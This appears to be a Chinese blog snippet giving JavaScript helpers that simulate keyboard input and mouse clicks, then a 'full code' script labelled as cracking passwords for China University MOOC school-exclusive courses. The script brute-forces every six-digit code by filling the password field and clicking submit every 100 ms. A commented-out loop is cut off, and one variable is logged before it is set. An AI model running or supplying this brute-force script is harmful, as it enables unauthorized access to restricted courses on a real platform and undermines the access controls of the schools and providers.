使用JS模拟键盘、鼠标操作

//只在chrome测试过，大部分应用场景在webkit，所以不做其他兼容

// 模拟键盘输入
window.inputValue = function (dom, st) {
	var evt = new InputEvent('input', {
		inputType: 'insertText',
		data: st,
		dataTransfer: null,
		isComposing: false
	});
	dom.value = st;
	dom.dispatchEvent(evt);
}

// 模拟鼠标点击
window.mClick = function (dom) {
	var event = new MouseEvent('click', {
		view: window,
		bubbles: true,
		cancelable: true
	});
	dom.dispatchEvent(event)
}

完整代码

// 中国大学MOOC学校专有课程密码破解

start = 0;
end = Math.pow(10,6);
size = 6;


p = document.getElementsByClassName("ux-input_base")[0];
j = document.getElementsByClassName("ux-btn")[1];

window.inputValue = function (dom, st) {
	var evt = new InputEvent('input', {
		inputType: 'insertText',
		data: st,
		dataTransfer: null,
		isComposing: false
	});
	dom.value = st;
	dom.dispatchEvent(evt);
}

window.mClick = function (dom) {
	var event = new MouseEvent('click', {
		view: window,
		bubbles: true,
		cancelable: true
	});
	dom.dispatchEvent(event)
}

// for(i=start;i
// 		num = (Array(size+1).join("0") + i).slice(-size)
// 		console.log("当前任务：",num)
// 		inputValue( p,num )
// 		j.dispatchEvent(event)
// }

i=start;
iVal = setInterval(()=>{
	console.log("当前任务：",num)
	num = (Array(size+1).join("0") + i).slice(-size);
	inputValue( p,num )
	mClick(j)
	i++;
	if(i==end){
		clearInterval( iVal )
	}
},100)

// clearInterval(iVal)